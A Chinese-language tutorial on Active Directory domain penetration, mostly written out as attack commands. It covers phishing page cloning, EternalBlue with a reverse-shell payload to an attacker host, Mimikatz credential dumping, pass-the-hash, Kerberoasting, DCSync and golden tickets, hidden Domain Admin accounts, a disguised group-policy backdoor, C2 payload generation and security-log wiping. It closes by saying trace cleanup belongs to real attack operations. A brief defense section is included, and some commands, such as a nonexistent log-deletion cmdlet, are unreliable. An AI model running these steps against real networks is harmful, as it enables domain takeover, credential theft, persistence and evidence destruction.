1. 域渗透攻防基础概念解析
域渗透(Domain Penetration)是指攻击者通过技术手段突破企业内网边界,获取域控制器(Domain Controller)权限并控制整个域环境的过程。作为企业网络架构的核心,Active Directory(AD)域环境一旦被攻陷,意味着攻击者可以访问域内所有资源,包括服务器、工作站、文件共享、数据库等关键资产。
1.1 域环境的核心组件
一个典型的Windows域环境包含以下关键组件:
- 域控制器(DC):运行Active Directory域服务的服务器,负责用户认证和资源管理
- 成员服务器:加入域的各类应用服务器(如SQL Server、Exchange等)
- 工作站:员工日常使用的Windows电脑
- 组策略(GPO):集中管理域内计算机和用户的配置设置
- 信任关系:不同域之间的认证通道
提示:在实战中,攻击者往往会优先寻找域控制器和关键服务器(如文件服务器、邮件服务器),因为这些系统通常存储着高价值数据。
1.2 域渗透的常见攻击路径
根据MITRE ATT&CK框架,典型的域渗透攻击链包括:
- 初始访问(如钓鱼邮件、漏洞利用)
- 执行(运行恶意代码)
- 持久化(创建后门账户、计划任务)
- 权限提升(获取本地管理员权限)
- 凭证窃取(获取域用户凭据)
- 横向移动(在域内其他主机间跳转)
- 域控攻陷(获取域管理员权限)
2. 域渗透实战环境搭建
2.1 实验环境规划
建议使用以下配置搭建域渗透实验环境:
- 主域控制器:Windows Server 2019(2核CPU,4GB内存,100GB磁盘)
- 成员服务器:Windows Server 2016(2核CPU,2GB内存)
- 工作站:Windows 10(2核CPU,2GB内存)
- 攻击机:Kali Linux 2023(2核CPU,2GB内存)
网络拓扑示例:
[攻击机] --- [外部网络] --- [防火墙] --- [内网] --- [域控制器] |--- [成员服务器] |--- [工作站]2.2 域环境配置步骤
安装域控制器:
# 在Windows Server上执行 Install-WindowsFeature AD-Domain-Services -IncludeManagementTools Install-ADDSForest -DomainName "pentest.lab" -DomainNetbiosName "PENTEST" -InstallDns创建测试用户和组:
New-ADUser -Name "普通用户" -SamAccountName "user1" -AccountPassword (ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force) -Enabled $true New-ADGroup -Name "财务部" -GroupScope Global Add-ADGroupMember -Identity "财务部" -Members "user1"配置组策略:
- 禁用Windows Defender实时保护
- 允许NTLM认证
- 关闭防火墙(仅实验环境)
注意:实际生产环境中绝不应该关闭这些安全设置,此处仅为实验方便。
3. 域渗透核心攻击技术详解
3.1 初始访问技术
3.1.1 钓鱼攻击模拟
使用SET(Social Engineering Toolkit)制作钓鱼页面:
# Kali Linux上执行 setoolkit 选择1) Social-Engineering Attacks 选择2) Website Attack Vectors 选择3) Credential Harvester Attack Method 选择2) Site Cloner 输入目标URL(如公司OA登录页) 设置本地监听IP3.1.2 漏洞利用
针对未打补丁的系统,可使用Metasploit框架:
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 exploit3.2 权限提升技术
3.2.1 本地提权漏洞利用
检查系统补丁情况:
# 在获取的meterpreter会话中执行 run post/windows/gather/enum_patches使用未安装补丁对应的漏洞模块,如:
use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move set SESSION 1 exploit3.2.2 组策略首选项漏洞
提取组策略首选项中的密码:
# 在域内主机上执行 findstr /S /I "cpassword" \\<DOMAIN>\sysvol\<DOMAIN>\Policies\*.xml使用gpp-decrypt解密:
gpp-decrypt <加密的cpassword值>3.3 横向移动技术
3.3.1 Pass-the-Hash攻击
使用Mimikatz获取哈希:
mimikatz # sekurlsa::logonpasswords使用获取的NTLM哈希进行横向移动:
psexec.py -hashes <LMHASH>:<NTLMHASH> administrator@192.168.1.1013.3.2 Kerberoasting攻击
请求SPN服务的TGS票据:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dbserver.pentest.lab"导出票据并用hashcat破解:
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII kerberoast.txt hashcat -m 13100 kerberoast.txt rockyou.txt4. 域控攻陷与权限维持
4.1 获取域管理员权限
4.1.1 DCSync攻击
使用Mimikatz模拟域控制器同步:
mimikatz # lsadump::dcsync /domain:pentest.lab /user:Administrator4.1.2 Golden Ticket攻击
创建黄金票据:
mimikatz # kerberos::golden /user:Administrator /domain:pentest.lab /sid:<域SID> /krbtgt:<KRBTGT账户的NTLM哈希> /ptt验证票据:
klist dir \\dc01.pentest.lab\c$4.2 权限维持技术
4.2.1 创建隐藏账户
使用DSInternals工具创建隐藏管理员:
New-ADUser -Name "SupportAccount" -SamAccountName "support" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true Add-ADGroupMember -Identity "Domain Admins" -Members "support" Set-ADObject -Identity (Get-ADUser "support").DistinguishedName -Replace @{adminCount=1}4.2.2 组策略后门
创建启动脚本后门:
New-GPO -Name "Windows Update Settings" Set-GPRegistryValue -Name "Windows Update Settings" -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\Windows\Temp\backdoor.exe" -Type String Link-GPO -Name "Windows Update Settings" -Target "OU=Workstations,DC=pentest,DC=lab"5. 域渗透防御策略
5.1 基础防御措施
账户安全:
- 禁用NTLM认证,强制使用Kerberos
- 启用LSA保护(RunAsPPL)
- 配置账户锁定策略
日志监控:
# 启用详细日志记录 auditpol /set /category:"Account Logon","Account Management","Detailed Tracking","Logon/Logoff","Object Access","Policy Change","Privilege Use","System" /success:enable /failure:enable网络分段:
- 将域控制器隔离在专用VLAN
- 限制RDP/SMB等服务的访问来源
5.2 高级防御技术
5.2.1 微软高级威胁防护(ATP)
配置攻击面减少规则:
Set-MpPreference -AttackSurfaceReductionRules_Ids <规则ID> -AttackSurfaceReductionRules_Actions Enabled5.2.2 特权访问工作站(PAW)
部署专用管理工作站:
- 独立硬件设备
- 禁用互联网访问
- 仅允许访问管理接口
5.3 应急响应流程
发现入侵迹象时的响应步骤:
- 隔离受影响系统:立即将疑似被入侵的主机从网络断开
- 取证分析:收集内存转储、日志、时间线信息
- 凭证重置:重置所有特权账户密码,包括KRBTGT账户
- 漏洞修复:修补被利用的安全漏洞
- 监控回连:部署诱饵账户和蜜罐监控攻击者是否返回
6. 域渗透实战案例解析
6.1 案例一:通过Exchange服务器攻陷域控
攻击路径:
- 利用ProxyLogon漏洞(CVE-2021-26855)获取Exchange服务器权限
- 通过Exchange的WriteDACL权限提升至域管理员
- 使用DCSync导出域内所有用户哈希
防御措施:
# 检查Exchange漏洞补丁状态 Get-Command ExSetup | ForEach { $_.FileVersionInfo }6.2 案例二:通过打印机服务提权
攻击路径:
- 利用PrintNightmare漏洞(CVE-2021-34527)加载恶意DLL
- 获取SYSTEM权限后转储LSASS进程内存
- 从内存中提取域管理员凭据
缓解方案:
# 禁用Print Spooler服务(非打印服务器) Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled7. 域渗透工具进阶使用
7.1 BloodHound可视化分析
收集域内关系数据:
SharpHound.exe --CollectionMethod All --Domain pentest.lab --ExcludeDCs分析攻击路径:
# 在BloodHound界面中查询 MATCH p=(n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(m:Computer {name:"DC01.PENTEST.LAB"}) RETURN p7.2 Covenant C2框架
设置监听器:
# 在Covenant界面中 Listeners → Create → HttpListener Name: TestListener BindAddress: 0.0.0.0 BindPort: 80 ConnectAddress: 192.168.1.50生成Payload:
Launchers → Binary → Generate 选择Listener: TestListener DotNetVersion: Net40 Type: Console8. 域渗透后的痕迹清理
8.1 日志清除技术
使用Mimikatz清除安全日志:
mimikatz # event::clear /log:security更隐蔽的方法(只删除特定事件):
$logs = Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624 -and $_.Properties[5].Value -like "*Administrator*"} $logs | Remove-WinEvent8.2 操作痕迹清理
清除Prefetch文件:
Remove-Item C:\Windows\Prefetch\* -Force清除Recent文件:
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -Force在实际渗透测试中,我强烈建议保留完整操作日志用于报告编写,仅在实际攻击行动中才需要进行痕迹清理。